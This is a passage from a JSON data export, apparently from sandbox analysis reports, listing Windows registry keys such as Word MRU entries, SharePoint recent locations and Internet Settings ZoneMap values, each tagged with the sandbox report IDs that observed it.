SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"},{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\12.0\\WORD\\MTTT\\MTTT","sources":[{"report_type":"sandbox","report_id":"564f01530e316de77164a0d4"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\OPTIONS\\VPREF\\","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\THEMES\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\WORDDOCPARTS\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\SMARTART\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\O18\\O18","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"},{"report_type":"sandbox","report_id":"564f08f40e316dc47de588bf"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 1\\SITE 1","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 2\\SITE 2","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 3\\SITE 3","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 4\\SITE 4","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 5\\SITE 5","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 6\\SITE 6","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 7\\SITE 7","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 8\\SITE 8","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 9\\SITE 9","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 10\\SITE 10","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 11\\SITE 11","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 12\\SITE 12","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 13\\SITE 13","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 14\\SITE 14","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 15\\SITE 15","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 16\\SITE 16","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 17\\SITE 17","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 18\\SITE 18","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 19\\SITE 19","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 20\\SITE 20","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5eb5a2446348681422474358"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 